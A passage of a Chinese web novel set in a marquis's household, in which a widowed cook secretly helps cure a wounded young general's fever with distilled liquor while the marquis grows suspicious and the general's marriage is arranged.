全场死一般的寂静!
尤其是北狄使团那边,独眼龙张大嘴,脸色灰白,像被人掐住了喉咙。
赫连绯脸上也不见一丝笑容,一双狐狸眼里满是阴鸷和怒火。
漫天飞扬的血雾和木屑中,唯有满身是血的裴惊驰,用剑鞘死死撑着地面,半跪在擂台中央。
哪怕鲜血已经染透了全身,他的背脊也没见分毫弯曲。
人群中,不知是谁带头欢呼一声。
“赢了!”
“我们赢了!”
“啊!!!”
声浪一浪高过一浪,响彻云霄,惊起了树上的鸟雀。
裴惊驰用尽最后一丝力气,冲着台下的赫连绯,嘴里无声地吐出了三个字,然后,他意识终于陷入了黑暗,高大的身躯缓缓向前倾倒……
“少将军!”
“快,请太医!”
……
两日后,静和苑。
沈令薇和银杏刚把最后一道冬瓜排骨汤端上桌,院子里便传来了一阵急促的脚步声。
“饿**饿**!沈姑姑,饭菜做好了没有?我现在饿得能吃下一头牛!”
裴野人未到,声先至。像个小炮仗一样跨过了门槛,小脸红扑扑的,额头上还挂着汗珠,发丝被汗水打湿,一缕一缕地贴在脑门上。
沈令薇掏出帕子给他擦汗:“三少爷,你这是练了多久?头发都湿透了。”
裴野乖乖站着让她擦,嘴上却不饶人:“才练了一个时辰!李师傅说我这叫‘入门’,还差得远呢!”
沈令薇一边擦一边无奈地嗔道:“三少爷就算是练功,也该顾惜着自个儿的身子,若是急于求成,若是伤了筋骨可怎么好?”
裴野眼神一暗:“可我还嫌太慢了呢……”
自打两日前从校场回来,裴野就像变了个人,竟下定决心要习武,要练就像裴惊驰那样一身的好本事。
对此,裴谨之没有异议,刚好他给裴野三兄弟每人身边都安排了一个身手了得的护卫,如今裴野除了学堂的课,每天回来还要蹲半个时辰的马步。
每次都累得气喘吁吁。
沈令薇将盛好的热汤放在他旁边,犹豫了一瞬,还是问道:“三少爷,你去前院练功,可曾听说阑园那边的消息?大公子他……醒了吗?”
裴野炫饭的动作慢了下来,声音有些发闷:“我听瑶姐姐说,太医来了好几个,大堂兄到现在还没醒,发着高热,药也喝不进去。要是挺不过今天晚上,恐怕就会……”
后面的话裴野没说完,但沈令薇的一颗心却揪了起来。
连续两日了,烧都还没退。
她那日也是亲眼看到的,裴惊驰伤得那样重……
“沈姑姑,你说,大堂兄他会不会……”裴野的声音都在颤抖,显然不愿意接受这个残酷的现实。
沈令薇放下手里的帕子,眼神坚定地看着裴野:“不会的,大公子是从北境**堆里爬出来的将军,不会就这么倒在一场擂台赛上。”
“可……”裴野还想说什么。
沈令薇已经起身,吩咐银杏照看好他,转身去了厨房。
既然问题的症结是退烧,那她或许可以想想办法,先帮他把高烧降下来。
沈令薇转头就从西角门出府,去了趟酒窖。
回来时,厨房里已经多出来两坛烈酒。她利用厨房里的铁锅和密封陶罐,搭建了一个简易的冷凝装置,然后反复蒸馏,取其精华。
不出半个时辰,便提纯了一小瓶辛辣刺激的‘火酒’。
做完这一切后,天色已经擦黑。
借着夜色的掩护,沈令薇提着食盒,上面放了些吃食,朝阑园走去。
刚走到院门外头,就听见院里传来几声瓷器被打砸在地上的声音,并伴随着一道妇人撕心裂肺的哭喊:
“滚!都是一群没用的庸医……”
“呜呜,惊驰,我的儿……”
紧接着,便看到两个穿着太医制服的老者,灰头土脸地被赶了出来。
两人边走边唉声叹气:“唉,院判大人,真的没招了吗?裴少将军是北境的功臣,若是死在咱们手里,圣上怪罪下来,咱们府上几十口人……”
“老夫又何尝不想救?”那院判也叹了一声,
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“可烧成这样,就算用药,也没办法让药力浸入五脏……”
“唉,若是熬不过今晚,怕是神仙来了也难救啊……”院判又道。
沈令薇隐在阴影处,提着食盒的手猛地收紧。
她无法想象,若裴惊驰真就这么**,三位小少爷,还有裴瑶,包括这侯府所有人,该有多难过?
她回想起裴惊驰在擂台上笑着说的那句‘爷还没死呢’。想起他倒地前对赫连绯说的那句口语。
这样的人,怎么能死?
沈令薇深吸一口气,悄悄尾随着两个太医跟了上去。
很快,两个太医在回廊拐角停下,像是商量着什么,片刻后,那位年纪稍长的院判朝前走远。只剩下那位稍微年轻一点的太医还站在原地。
沈令薇打算抓住这次机会。
她上前一步,压低了声音:“孙太医。”
孙太医被吓了一跳,扭头一看,却见是一个穿着管事服饰的妇人从暗处走了出来,手里还拎着个食盒。
“你是何人?”孙太医皱眉。
沈令薇开门见山:“我有法子,可助大公子退烧。”
孙太医愣了愣,上下打量她一眼:“你?”
他目光落在沈令薇手里的食盒上,脸色沉了几分:“荒唐!太医都束手无策,你一介妇人能有什么法子?莫要在此添乱。”
他转身要走。
“孙太医。”
沈令薇上前一步,唤住他:“大公子烧了两日,药灌不进去,汗发不出来。再这样下去,怕是神仙也难救。我的法子不一定能成,但总比什么都不做强。”
孙太医脚步一顿,脸色微变。
沈令薇趁机打开食盒,拿出里面的小瓷瓶:“这是用烈酒提纯过的火酒,比寻常烧刀子烈上数倍。用它擦拭手心、脚心、腋下,酒气挥发得快,能把体内的热带出来。”
孙太医眉头皱得更紧:“胡闹!烈酒性热,擦在身上只会更热,你这是要烧死病人?”
沈令薇把瓷瓶递过去:“孙太医若不信,不妨先试试?”
孙太医犹豫,沈令薇拔出瓶塞,“沾一点抹在自己手背上,便知分晓。”
这时,一股浓郁刺鼻的酒气扑面而来,比他闻过的任何烈酒都要烈。
孙太医不禁面露诧异。
终于,一番权衡后,孙太医决定试一试。
第82章 侯爷,奴婢是来找你的
数息后,孙太医盯着手背上迅速干透的凉意,心里翻江倒海。
这种刺鼻的酒味,他闻所未闻,可那股透骨的凉劲儿,却是实打实的正对症。
他看向沈令薇,脸色凝重:“此物当真只需外敷?若出了岔子,你可知这阑园的门,你便再也出不去了。”
沈令薇面不改色:“太医,大公子救过我的命,我没有理由害他。”
见他动摇,沈令薇又道:“若是成了,大公子退了烧,您是首功,圣上面前也好交代。若是不成……”
“您方才自己也说了,神仙难救。”
孙太医沉默良久,攥着瓷瓶的手微微收紧。
“你叫什么名字?”孙太医突然道。
沈令薇摇头,“大人不必知道我的名字。若大公子醒了,功劳是您的。若是不成,也没人知道这东西是从哪儿来的。”
孙太医愣了一下,随即明白了什么。
他把瓷瓶收进袖中:“也罢,我这便姑且一试,不过……”
他顿了顿,又道:“此事若成,这火酒的方子……”
沈令薇主动从袖子里掏出一张纸,“这是烈酒的提纯方法,详细步骤我都写在上面了,至于孙太医对外要怎么说,全看您自己。”
孙太医接过来,展开一看,呼吸一滞。
这上面字迹工整,一笔一划都写得清楚,选酒,慢煮,再到如何收集,存放,每个步骤都很详尽。
这法子若成了,不仅能救裴少将军一命,更能在杏林史册上留名,甚至开宗立派的神技。
往后大周朝处理外伤感染、高热惊厥,他孙某人便是天下第一人。
孙太医深吸一口气,将那页薄纸紧贴着胸口藏好。再看向沈令薇时,眼神已经彻底变了。
他后退一步,朝沈令薇深深鞠了一躬。
“娘子真乃奇人也,老夫替这天下饱受热毒之苦的百姓,感谢娘子,娘子大义,孙某欠娘子一个人情,往后在这京城,若有差遣,莫敢不从。”
沈令薇侧身避开了半礼,“太医言重了,眼下救人要紧,快去吧。”
说罢,她重新拎起食盒,转身出了阑园。
天色已经黑透,府里不少地方都挂上了灯笼。
沈令薇避开巡夜的家丁,抄了一条小路前往静和苑。
结果刚转过一道回廊,就瞧见不远处迎面走来一道熟悉的身影。
她脚步猛地一顿,下意识地闪身后退。
裴谨之正朝阑园的方向走来,身后还跟着陈凡,以及一个大夫打扮的老者。
沈令薇不想迎面撞上,迅速闪身进了身后不远处的一座假山里。
她紧贴着冰冷的石壁,祈祷着这位日理万机的爷千万别发现她。
算起来,自打上次在墨苑晕倒后,她就再没见过裴谨之。
她知道裴谨之最近很忙,忙着处理北狄的外交,忙着给裴惊驰寻访名医。
老夫人亲自去庙里烧香求保佑,大夫人更是哭成了泪人,这两日侯府的气氛也无比严肃。
随着几人的步伐越来越近,几句交谈声也顺势传到了沈令薇耳朵里。
“侯爷,刚得到消息,北狄那个巴图虽然被大公子刺穿了肺腑,可那帮巫医不知道用了什么法子,竟也保住了他一口气没死。赫连王子还遣人传话,说若咱们大周的太医不中用,他愿大发慈悲,请萨满过来替少将军‘驱邪’。”
“荒唐!”那位老大夫接话,“北狄蛮夷狼子野心,他们那萨满的巫术也都是些装神弄鬼的迷障,若对方趁机在少将军身上动什么手脚,岂不正中下怀?”
裴谨之没说话,领着两人很快从假山旁走过,进了一扇月亮门。
沈令薇屏住呼吸,又等了一会儿,确认脚步声已经走远,才虚脱般地扶着石壁站起身。
她蹭了蹭鞋上的泥,又整理了发丝,长舒一口气。
好险。
她提起食盒,正准备继续朝前走,结果刚一转身——
“啊!”
迎面撞上一堵温热的肉墙,她整个人往后弹了一下,食盒险些脱手。
她惊恐地抬头,对上一双幽深的黑眸。
侯爷?
他、不是走了吗?
怎么?
沈令薇惊吓之余,后退了几步,心脏像要从胸腔里跳出来。
“侯爷?你怎会在此?
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”她想也不想地问道。
裴谨之向前一步,将她逼到假山石壁上。
“这个问题,貌似应该我来问你。”
他目光扫过她手上的食盒:“这么晚了,给谁送饭?”
沈令薇心里‘咯噔’一声,赶紧垂眸,掩去眼底的慌乱。
“侯爷恕罪……”她做出一副受惊柔顺的模样,“奴婢……是来寻侯爷的。”
裴惊之目光一暗,扣在她腰间的大手不自觉的收紧了几分:“寻本侯?”
“是。”沈令薇硬着头皮,将食盒往前递了递,“侯爷先前吩咐,让奴婢负责您的一日三餐。奴婢见夜深了,便做了些宵夜送去墨苑。听院里的小厮说您来了阑园,奴婢想着这吃食凉了伤胃,便……便自作主张寻了过来。”
她咽了口唾沫,继续圆谎:“方才见侯爷正与大夫议事,奴婢身份卑微,不敢贸然上前惊扰,这才慌不择路躲进了假山,绝非有意听墙角。”
这番说辞,滴水不漏。
沈令薇也是心跳如擂鼓。
她不知道侯爷信没信,但眼下,这是她能想出的唯一办法。
决不能让侯爷知道她深夜来此,是为探望大公子。
否则,一个‘私相授受,坏了规矩’的理由,足以让她在这府里待不下去。
裴谨之垂眸凝视着她,没说话。
夜色中,那双深不可测的黑眸里,飞快的掠过一抹异色。
这食盒轻飘飘的,且还萦绕着一丝刺鼻的酒气,可偏偏,当她说出是来寻他时,他竟莫名地有种被取悦的感觉。
“是吗?”裴谨之微微前倾,极具压迫感的气息悉数将沈令薇笼罩,语气带着几分危险的试探。
“原来沈掌事对本侯的吩咐,竟上心到了这般地步?”
他目光从食盒上移开,锁定沈令薇:“那本侯是不是该赏你点什么?”
沈令薇惊出一身冷汗,把头埋得更低:“侯爷折煞奴婢了,分内之事,不敢讨赏。”
“那怎么行?”裴谨之语气不容拒绝:“有功不赏,往后谁还给本侯尽心?”
沈令薇呼吸一滞,一股不好的预感涌上心头。
第83章 画地为牢,他想独占
只听裴谨之慢条斯理地转动着手上的玉扳指,面上端出一副正经做派。
“本侯这些年忙于政务,对几个孩子多有疏忽。听闻恪儿这几日夜里总是惊梦,朔儿的课业也日益繁重。”
沈令薇屏息凝听。
“既然你对本侯的饮食这般上心,几个孩子又极为依赖你。从明日起,入夜后,本侯会将他们兄弟三人叫到墨苑的外书房,亲自督促课业。”
“孩子们夜里读书辛苦,往后每日入夜,你便亲自带着宵夜到墨苑书房伺候。作为奖励……”
他顿了顿,幽深的眸子锁定沈令薇,一字一句道:“你女儿作为陪读,也一并过来。”
沈令薇闻言,整个人如遭雷击。
她不可置信地看着眼前这个端庄持重的男人。
墨苑书房是何等禁地?连府里的寻常家眷都轻易踏入不得。可他竟然要安安也进去给二少爷当陪读。
“侯爷不可!”沈令薇下意识的拒绝;“安安身份卑微,怎敢高攀,况且年幼无知,怕会冲撞了侯爷的清净,坏了府上的规矩。”
“还请侯爷收回成命。”
“沈掌事是不喜欢这份赏赐?”他声音沉了几分,还用上了‘沈掌事’,显然是不高兴了。
“还是说,沈掌事觉得,本侯教不了你女儿?”
“奴婢不敢!”沈令薇连忙低头,声音放软了几分。
“奴婢只是觉得,安安能进学堂已是天大的恩典,实在不敢再奢求更多……”
“那便这么定了,”他言简意赅,“恪儿的功课也算拔尖,安安既是他的伴读,若跟不上,传出去也是丢侯府的脸面。”
“还是说……你这是信不过本侯?信不过你女儿?”
沈令薇攥紧了衣袖,进退两难。
答应,安安便要日日踏进墨苑。
不答应,便是她“不识抬举”,连女儿的功课都不上心。
最终,她咬咬牙,低声道:“奴婢……多谢侯爷抬爱。”
裴谨之点点头,像是早料到她会这么说:“明日戌时,别迟到。”
……
翌日,沈令薇正在厨房里和面,银杏突然像只喜鹊一样,叽叽喳喳就冲了进来。
“沈姐姐,好消息,大公子终于醒了!”
沈令薇和面的动作一顿:“当真?”
银杏点头:“自然是真的,说是孙太医昨儿夜里翻遍了医书,竟寻得一种名为‘火酒’的奇术,他将那酒往大公子身上一擦,大公子烧了两天的高热,竟真的退了!”
“如今全府都在传,说孙太医这是华佗在世,救了大公子的命呢!”
沈令薇闻言,悬了两日的心终于落地。
“醒了就好,大公子吉人自有天相。”她边说边指挥银杏:“对了,把那山药削上,还有,再去取一些山药和干贝来。”
银杏有些疑惑:“这是给二少爷做的吗?可我记得二少爷好像不喜欢吃干贝啊。”
沈令薇含糊了一声:“二少爷不吃,这不还有三少爷嘛,他练武消耗体力,说不定一会儿回来就饿了,咱们先备上。”
银杏不疑有他,很快按照吩咐准备起来。
……
与此同时,阑园。
屋子里药味很重,裴惊驰靠在软枕上,脸色依旧苍白如纸,那双往日里盛着细碎笑意的桃花眼里,此刻也因失血过多显得有些幽深。
大夫人白氏命人端来药碗,亲自盯着他喝药。还念叨他以后不许再跟人如此拼命。
裴惊驰顺从地将苦药一饮而尽,又恢复那副没正形的样子:
“母亲,儿子这不都醒了吗?您再哭下去,儿子这病没好,倒要先心疼坏了。”
“你还有脸说!”白氏气得帕子都要绞烂了,“一场比试而已,输了也就输了,你若真有个三长两短,你让母亲怎么活?”
“母亲说的是,下回儿子一定惜命,离那擂台远远的,成不成?”
白氏见他这嬉皮笑脸的样子,就知道没把自己的话听进去,心里是既心疼又无奈。
她敛了愁容,吩咐人把膳食端上来:“太医说了,你昏睡了两日,只能吃些清淡的吃食,这碗参片燕窝粥最是养人,你多少吃些。”
裴惊驰偏头,看了眼粘稠的粥,摆手道:“拿走吧,我不饿。”
“不饿也得吃!”白氏的声音高了几分。
“自打边关回来,你倒比从前还挑上了食,我可是特意花银子把七年前的老厨子给请回来的,你不是最喜欢他烧的菜吗?
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”
裴惊驰心道,那是七年前。
可如今嘛……
他只喜欢吃某个女人做的菜。
但这话他绝不会跟母亲讲。
最终,在白氏的目光下,他勉强喝了两口,发现七年前觉得无比美味的食物,现在味道竟出奇的差。
他摆摆手;“先放着吧,一会儿有胃口了再吃。”
“你这性子……”
白氏正欲说话,门口又闯进来一道风风火火的声音:“大哥!大哥你醒了吗?我看看?”
五岁的裴瑶,一路小跑过来的,小脸通红,发髻都歪了一半。
她一头就扎进裴惊驰的床榻边:“大哥,你终于醒了……呜呜,吓死我了……”
裴惊驰伸手揉了揉她脑袋上的小揪揪,笑道:“哭什么,你大哥是阎王爷都不敢收的人,死不了。”
裴瑶抽噎着抬头:“真的?”
“自然是真的,”裴惊驰一本正经地点头:“阎王爷说了,你大哥太能吃了,怕我把地府吃穷,不收。”
白氏在一旁急得阻止:“轻点儿!你大哥身上还有伤呢,别压着他!”
裴瑶赶忙抽身,乖乖站好。
裴惊驰看了看裴瑶身后,“怎么就你一个人回来?裴野小子呢?今天没跟你一起?”
裴瑶吸了吸鼻子,把裴野决定习武的事说了出来。
“我放学是先跑回来的,他们三个还在后面,马上就到。对了,裴野今天的点心你一个都没吃,说要等你醒了带给你呢。”
一旁的白氏眼皮一跳:“太医说了,你哥现在只能吃些清淡的,糕点什么的就算了吧,我一会儿让人处理了……”
“唉别……”裴惊驰赶紧出声,想到什么,又道;“母亲这几日也辛苦了,快去歇会儿吧,这儿有瑶瑶陪着。”
白氏焉能看不出他下逐客令,不过看到兄妹俩感情好,她也乐得其见,又叮嘱了几句后,才转身离开。
等白氏的背影消失后,裴惊驰朝裴瑶勾了勾手指:“过来。”
裴瑶满脸疑惑的上前:“怎么了大哥?”
裴惊驰眼珠子转了转,压低声音:“去静和苑找沈厨娘,就说哥哥快病**,想吃她亲手做的粥……记住,别让你小叔知道。”
第84章 你喜欢我大哥吗?
入夜,墨苑书房。
灯火通明,三个孩子围坐在书案前,安安捧着拓本临摹,裴朔写得认真,裴野扭来扭去,被裴谨之一个眼神压回去。
沈令薇站在一旁,给裴谨之添茶。
这时,门外突然探出来一颗小脑袋。
裴瑶瞅了瞅正在奋笔疾书的兄弟三人,还有安安,心里默默地掬了把同情泪。
她轻手轻脚地跑到沈令薇身边,童言童语地道:“沈姑姑,我饿了,我想吃姑姑做的雪绵豆沙。现在可以给瑶儿做吗?”
沈令薇下意识地朝裴谨之看过去。
他端坐在书案后,不知道在写些什么,闻言抬头,看向裴瑶。
“大房的厨子都撤了?”
裴瑶眨巴着眼睛,理直气壮:“没有,但他们做的没有沈姑姑好吃。小叔,我就吃一小份,吃完就回去写字,好不好?”
裴谨之沉默,裴瑶趁机撒娇:“求你了小叔,要是吃不到雪绵豆沙,我今晚都睡不着觉的……”
又朝沈令薇撒娇:“沈姑姑……”
沈令薇柔声回话:“那大小姐是在这儿等,还是跟奴婢一起去静和苑呀?”
裴瑶想也不想地回答:“去静和苑。”
就这样,两人在裴谨之的眼皮子底下,出了院门。
等到了厨房,沈令薇将早已做好的干贝粥盛好,放进食盒递给裴瑶。
“大小姐,路上慢点走,别撒出来了。”
裴瑶看着手里的食盒,眨巴着大眼睛:“你知道我要来?”
沈令薇摸摸她的小脑袋,但笑不语。
裴瑶大眼睛又眨啊眨的,犹豫了一会儿,还是忍不住好奇道。
“沈姑姑,你觉得我大哥怎么样?”
沈令薇被这突如其来的问题问得一愣。
“大公子自然是极好的,英勇善战,是大周的功臣,人人都敬重他。”
裴瑶似不满意这个回答:“既然大哥这么好,那沈姑姑……你喜欢我大哥吗?”
“吧嗒”一声,沈令薇手里的勺子滑落在案板上。
“大小姐,喜欢这种事,不是奴婢该想的。”
裴瑶眨眨眼:“为什么不能想?”
她开始掰着手指头数落沈令薇的好:“你长得好看,心地善良,还烧得一手好菜,重要的是我大哥也很喜欢你,你不能喜欢我大哥吗?”
沈令薇差点就要去捂住她的嘴,压低声音道:“大小姐,这种话以后可莫要再说了,奴婢只是府里的厨娘,身份有别,万不敢生出这种心思的。”
裴瑶眉头皱起:“可你明明就很关心我大哥,不然,早就把膳食做好了,换作旁人受伤,你也会这样吗?”
沈令薇心道,这古代的孩子,咋也这么早熟。
她蹲下身,耐心地朝裴瑶解释:“大小姐,敬重和喜欢,是不一样的,就像亲人,朋友之间的喜欢,是两码事的。奴婢很敬重大公子,况且他也曾救过我,于情于理,做些吃食不过是顺手的事。奴婢这是在感念大公子的恩德。”
裴瑶似懂非懂地点头,又问:“那沈姑姑会一直给我们做饭吗?”
“只要大小姐想吃,奴婢就做。”
裴瑶满意了,抱着食盒往外跑了两步,又回头:“沈姑姑,我大哥说,你做的饭最好吃了。”
……
接连好几日,裴瑶都准时出现在墨苑门口打卡。
“沈姑姑,我想吃你做的杏仁酥。”
“沈姑姑,好饿,有吃的吗?”
“沈姑姑,昨天的栗子糕还有吗?”
“……”
刚开始,裴瑶还会做做样子,询问裴谨之的意见。
可接连几天过后,裴瑶也懒了,直接略过裴谨之,进门就抓住沈令薇不放,要拉去厨房做吃食。
一开始,裴谨之对此并没有放在心上,因为每次沈令薇回去后基本上耽误不了多久,很快就会回来。
可直到这天,沈令薇刚领着裴瑶出门,在回廊拐角处,一头撞上一堵温热的胸膛。
她吓了一跳,手里的食盒差点脱手,被人稳稳接住。
抬头,对上一双幽深的黑眸。
沈令薇心里‘咯噔’一声,他不是在书房吗?怎地来静和苑了?
她下意识地看了眼身后的裴瑶,裴瑶还没走远,见裴谨之朝自己看过来,小脸一白,赶忙捂着食盒撒开脚丫子就跑,一溜烟就没了影。
沈令薇:“……”
跑什么?
不跑还不会让人起疑,这一跑……
“侯、侯爷……”她恭恭敬敬地行礼,主动解释道:“那个……大小姐没吃饱,奴婢就让她带了些回去,慢慢吃。”
裴谨之黑漆漆的眸子盯了她片刻,没说话。
沈令薇如芒在背,身后都出了一层冷汗,才听到他淡淡地回了俩字。
“是吗?”
摸不准信没信。
“既然做好了,那就走吧。”他突然转身,朝着前面走去
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。
沈令薇只好硬着头皮跟在身后。
可等回到书房后,裴谨之做的第一件事就是找来陈凡。
“去查查,阑园这几日的膳食,是谁在送。”
陈凡应声退下。
-
翌日晚间,沈令薇依旧在墨苑伺候。
经过连续几日的练习,安安现在的字已经写得有模有样,初具风骨了。
裴朔偶尔会瞥一眼她的字帖,还会在她写错的时候悉心指导,把自己写的正确范本递给她。安安也聪明,知道哪里写错了也不声张,乖乖重写一遍。
裴野就没这么含蓄了。他写几个字就要探过头来看一眼,嘴里还念叨:“安安你这字写得比我的好看……”
等裴朔一个眼刀飞过去,他立马就老实了。
没办法,裴谨之把监督的重任交到了裴朔身上。他作为长子,必须以身作则。
沈令薇和往常一样,添茶,布点心,只是有些心不在焉。
往日这个时辰,裴瑶早来了。
可今晚,屋外安静的有些诡异。
裴谨之端坐在书案后,手执朱笔,姿态清贵疏冷。深邃的目光落在前面的公文上,余光却将沈令薇的小动作尽收眼底。
他嘴角勾起一抹极淡的嘲讽,不动如山。
又过了一刻钟,沈令薇终于忍不住,上前道:“侯爷,茶凉了,奴婢去烧壶新的来。”
裴谨之“嗯”了一声,目光没有离开书页。
沈令薇转身出了门。
回廊下,她站在灯笼底下,朝院门口的方向望了望,没人。又等了一会儿,还不见裴瑶过来,便起身朝静和苑走去。
静和苑很安静,只有银杏在厨房。
“沈姐姐?你怎么这时候回来了?不是在墨苑当差吗?”
沈令薇没答,只问:“大小姐今日来过吗?”
银杏摇头:“没有啊,哦对了,听说大小姐白天被大夫人叫走了,说要学规矩,这几日都出不了院子。”
沈令薇蹙眉。
大夫人从来都把大小姐视作眼珠子般疼爱,怎会毫无预兆地请教引嬷嬷?
电光火石间,她回想起昨晚侯爷撞见大小姐跑路的那一幕。
沈令薇细思极恐,心里隐隐有了个猜测。一股寒意陡然爬上了背脊。
第二天,沈令薇心无旁骛地当值,也没再朝外头张望。
可没想到的是,她刚从墨苑当值回来,竟在厨房看到一个意想不到的人。
第85章 再不来找你,我没病死,就先饿**
“大公子?”沈令薇吓了一跳,上下打量他:“你怎么过来了?你的伤都好了?”
裴惊驰嘴里不知从哪儿摘来的一株狗尾巴草,闻言往地上一吐。
“早就好了,爷可是阎王殿里闯过好几回的人,这点伤算什么?”
他在距离沈令薇只有一步之遥的地方停下,微微俯下身,那双极其勾人的桃花眼直勾勾地盯着她。
“这几日阑园的饭菜简直不是人吃的,再不来找你,我没病死,倒要先饿**。”
沈令薇退开半步,拉开两人之间那种危险的距离,“大公子无碍就好,想吃什么,奴婢这就给您安排。”
裴惊驰重新靠回灶台边,双手抱臂,随口道:“不用太麻烦,来碗阳春面就行。只要是你做的,我都爱吃。”
沈令薇假装没听到他最后那句话,套上围裙就开始准备:“那行,厨房油烟重,大公子先去找二少爷玩会儿,等面做好了,奴婢给您端过去。”
裴惊驰闻言,不但没走,反而扯过一旁的小马扎,大马金刀地坐了下来。
“不去。”他长腿屈着,硬生生有种大将巡营的松弛感,“我就在这儿,不打扰你。”
“……奴婢怕油烟熏着您,毕竟伤刚好。”
“熏不着,爷就喜欢你这儿的烟火气,你忙你的,当我不存在。”
沈令薇见劝说不动,也就没再多言,转而专心和面。
不多时,灶膛的火小了,她将葱花放在一旁,正准备弯腰去拿灶台下的柴火。还没等她碰到,一只骨节分明的大手便先她一步,越过肩膀,抽出了两根干柴。
沈令薇的鼻尖几乎擦过他坚硬的手臂,一股混杂着男子冷冽的气息瞬间将她笼罩。
“大公子,这上面脏,奴婢自己来就好。”
“这有什么?”裴惊驰已经熟练地将柴火塞进灶膛里。顺手还拿火钳拨弄了两下,让火烧得更旺些。
他抬起头,似笑非笑地看着沈令薇:“边关打仗的时候,我连马粪都烧过,怎么?沈掌事这是心疼我了?”
沈令薇咬了咬唇,退开两步,“既如此,那就多谢大公子了,别让火灭了。”
之后,沈令薇没再说话,二人一个煮面,一个烧菜,诡异地生出一种如同寻常夫妻般的和谐画面。
而此时,一窗之隔的阴影里。
裴谨之负手而立,寒凉的夜风吹得衣袍猎猎作响。
可他却像是感觉不到冷一般,那双深不见底的黑眸,紧紧锁定窗户上倒映出来的,两道几乎要依偎在一起的身影。
直到过了很久,他才冷冷地收回视线,当做什么都没看见一样,转身融入化不开的夜色之中。
-
翌日,沈令薇刚送完安安和裴恪从学堂回来,就见银杏风风火火地跑进来,脸上带着喜色。
“沈姐姐!快去领新衣!大夫人发了话,府里上下都有的!”
沈令薇被她拽得一个踉跄,“怎么急里忙慌的?这不年不节的,府里出什么事了?”
“天大的喜事呀!”银杏声音兴奋,
“大公子要议亲了!三日后就要相看,大夫人说了,府里要好好布置一番,下人们都得穿得体面些。你这份是管事级别的,料子比我们好多了!”
沈令薇揉面的动作一顿,“议亲?”
这么突然?
“对呀!”银杏没察觉到她的异样,继续滔滔不绝地八卦着。
“听说是昨儿个大夫人去寿安苑请安,老夫人主动开的口。说大公子如今威名远播,是咱们大周的功臣,这婚事绝不能含糊。大夫人高兴坏了,连夜让人去各家递了帖子。”
“只是这时间太仓促了,只有三天时间,大房那边人手转不开,所以才吩咐了全府上下的奴才帮忙布置,洒扫,只要去干活的,都能多领一份月钱呢。沈姐姐咱们赶紧去吧,再晚就抢不到好差事了。”
“我这面……”
话音未落,银杏直接就将她拉出了厨房,“哎呀赏银要紧,这面晚点再和也是一样的。”
就这样,沈令薇稀里糊涂的,就被银杏给拉到了大房正院。
大房正院比沈令薇想象的要热闹得多。丫鬟婆子们端着花瓶、锦缎、来来往往,脚步生风。几个小厮踩着梯子往廊下挂红绸。
银杏带着沈令薇穿越人群,找到管事婆子领差事,那婆子将两人从头到脚打量了一眼,在沈令薇那饱满的身段上还特意多停留了一瞬。
最后给二人分配了最不起眼的活计,擦花瓶。
银杏领了两块棉布,拉着沈令薇就往东厢房走。
东厢房这会儿也忙得很,丫鬟仆妇们洒扫地洒扫,除草的除草。
几个丫鬟一边干活一边蛐蛐。
“听说大夫人这次把京城里数得上名号的世家贵女都请来了。”
“那可不,咱们公子可是北境的战神,洁身自好不说,长得又俊美无俦,满京城的姑娘,想嫁来侯府的,都能排上三条街呢。这寻常的姑娘,根本配不上咱们公子。”
“唉,你说公子会看上哪家小姐?”
“这还用说?定是杜尚书的千金,杜小姐,除了她,谁能比得上?”
丫鬟们嘻嘻哈哈笑作一团。
这头,沈令薇和银杏安安静静地擦拭花瓶,没做声。
没多久,外头突然传来一阵脚步声,有丫鬟行礼道:“老爷
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,夫人。”
白氏朝丫鬟们摆摆手:“都下去吧。”
丫鬟们鱼贯而出,沈令薇和银杏则来到外间,开始擦窗台。
屋里,白氏和大爷的交谈声隐隐飘出来。
“看了大半日,我这眼睛都挑花了,不过挑来选去,还是兵部尚书家的杜小姐,家世品貌最为出挑,跟咱们惊驰也算门当户对。”
大爷裴远山捋了捋胡须,点头附和:“杜家那丫头我也有所耳闻,端庄娴静,知书达理。惊驰常年在北境那种苦寒之地摸爬滚打,身上煞气重,若能娶个这般温婉的名门闺秀管着,也能收收他那野马似的性子。只是……”
裴远山话音一转,“惊驰怎么说?他那狗脾气,能同意?”
白氏道:“这是母亲亲自下的令,由不得他不同意。再说,昨个儿我让人去探他口风,他也没反对。”
裴远山闻言点头:“那就好,只要他肯收心成家,便是祖宗保佑。”
两人又聊了些聘礼单子,沈令薇和银杏已经擦完了这一扇窗,端着水盆去往了下一处。
东厢房外,日光正好。沈令薇把手里的棉布叠好,放在窗台上。
“走吧,去下一处。”
银杏追上来,小心翼翼地查看她的脸色:“沈姐姐,你没事吧?”
沈令薇拍拍裙子上的灰尘,神色淡然:“我能有什么事?大公子成亲,这是大喜事,咱们当下人的,跟着沾沾喜气就是了。”
“可是……”银杏欲言又止。
她能察觉到,大公子对沈姐姐似乎有些不太一样。
见银杏还站在原地,沈令薇又走回去,伸手在她头上摸了摸。
“怎么?觉得我该难过?伤心?”
银杏张了张嘴,没说话。
“银杏,你记住一句话。”沈令薇语气郑重:“这世上,男人对你的好,不是欠条。他给了,你接着,记在心里。但不用因为别人给了,你就得还什么。更不用因为他给得多,你就把自己搭进去。”
银杏似懂非懂。
沈令薇拍了拍她的肩:“大公子是好人,他对我的好,我记着。但我的人生,不会因为他对我好,就拐弯。”
她一个带着女儿在侯府讨生活的寡妇,最大的目标就是攒够银子,带着安安离开。
也从未想过仗着男人的偏爱,去攀高枝,亦或者在侯府扎根。
这里不是她的家。
“走吧,活还没干完呢。”她端起水盆走向另一端。
阳光落在沈令薇的背上,把她的影子拉得很长,也很直。
银杏站在原地,看着她走远的背影,忽然觉得,沈姐姐跟这府里所有的人,都不一样。
第86章 想见,不能见。想护,不能护
三日后,天朗气清。
侯府已经很多年没有像今日这般热闹过了。
白氏作为当家主母,对这次的宴会格外重视,早早命人将各处园子都装点一新。
宴会设在侯府景致最佳的‘沁芳园’。此处依山傍水,池边垂柳依依,新芽如烟。湖心的水榭回廊皆被换上了月白色的薄纱幔帐,随着春风微微拂动,有种如梦似幻的雅致。
彼时,侯府角门大开,马车一辆接一辆停在府门前,丫鬟婆子们穿梭引路,白氏站在二门处迎来送往。
老夫人则坐在主厅,陪着几个诰命夫人闲话家常。
“老夫人真是好福气,裴少将军年纪轻轻便立下赫赫战功,更是在那擂台上一招致敌,狠狠地扬了大周的国威,就连陛下都赞不绝口。”其中一位穿着绿袄,年过四十却风韵依旧的妇人道。
“谁说不是呢,听说前几日还得了圣上特许,随驾去西山祭告太庙,这份圣宠,满朝文武谁不眼热?”又有人道。
